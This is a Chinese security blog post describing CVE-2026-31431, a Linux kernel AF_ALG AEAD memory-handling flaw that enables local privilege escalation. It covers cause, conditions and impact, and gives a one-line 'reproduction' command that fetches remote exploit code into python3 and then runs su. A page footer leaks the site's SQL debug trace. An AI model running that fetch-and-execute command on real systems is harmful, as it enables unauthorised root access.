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热点!Linux核弹级提权?(CVE-2026-31431)

  • 2026-06-30 08:48:45
热点!Linux核弹级提权?(CVE-2026-31431)

热点!Linux核弹级提权?(CVE-2026-31431)

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。知识星球和交流群在最下方。需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

Linux 内核 AF_ALG AEAD 实现因错误支持原地加密操作,导致内存处理缺陷,攻击者可通过构造请求触发内核内存破坏。

一、漏洞概述

CVE-2026-31431 是 Linux 内核加密子系统中的一个安全漏洞,存在于 algif_aead 模块(AF_ALG 接口的 AEAD 实现)中。该漏洞源于对“原地(in-place)加密操作”的不当处理,引入了潜在的内存安全问题。

AF_ALG 是 Linux 提供给用户态程序访问内核加密能力的接口,而 AEAD(Authenticated Encryption with Associated Data)是一种同时提供机密性与完整性保护的加密模式。该漏洞正是发生在 AEAD socket 接口的数据处理逻辑中。

二、漏洞成因

在引入 commit 72548b093ee3 后,内核尝试支持 AEAD 的“原地操作”(即输入缓冲区与输出缓冲区重叠的情况)。然而:

在 algif_aead 实现中,源数据与目标数据实际来自不同的内存映射区域 原地操作在该场景下没有实际意义 为支持该特性引入了额外复杂逻辑(尤其是 Associated Data 的复制处理)

这导致在特定情况下:

内存处理逻辑出现异常 数据复制路径存在不一致 可能触发内存破坏或未定义行为

本质上,这是一个由于不必要复杂性引入的内存处理缺陷(memory handling flaw)。

三、利用条件

漏洞利用需要满足以下条件:

攻击者能够在本地系统执行代码(低权限用户即可)系统启用了 AF_ALG 接口使用 AEAD 加密接口(algif_aead)构造特定的输入数据触发异常内存路径

四、漏洞影响

攻击者在具备本地权限(低权限即可)的情况下,可以通过构造特定的 AF_ALG AEAD 操作触发该漏洞,从而可能导致:

内核内存损坏(memory corruption)系统崩溃(kernel panic)数据完整性破坏潜在的信息泄露或提权风险

五、漏洞复现

curl https://copy.fail/exp | python3 && su

六、参考资料

https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/6

https://xint.io/blog/copy-fail-linux-distributions

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Burp 大模型Web 漏洞扫描插件 Zack-AI-Scanne

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  1. CONNECT:[ UseTime:0.000557s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000792s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000346s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000296s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000494s ]
  6. SELECT * FROM `set` [ RunTime:0.000233s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000620s ]
  8. SELECT * FROM `article` WHERE `id` = 490614 LIMIT 1 [ RunTime:0.002390s ]
  9. UPDATE `article` SET `lasttime` = 1783082147 WHERE `id` = 490614 [ RunTime:0.000751s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000225s ]
  11. SELECT * FROM `article` WHERE `id` < 490614 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000435s ]
  12. SELECT * FROM `article` WHERE `id` > 490614 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001873s ]
  13. SELECT * FROM `article` WHERE `id` < 490614 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.002705s ]
  14. SELECT * FROM `article` WHERE `id` < 490614 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.005375s ]
  15. SELECT * FROM `article` WHERE `id` < 490614 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.015623s ]
0.106889s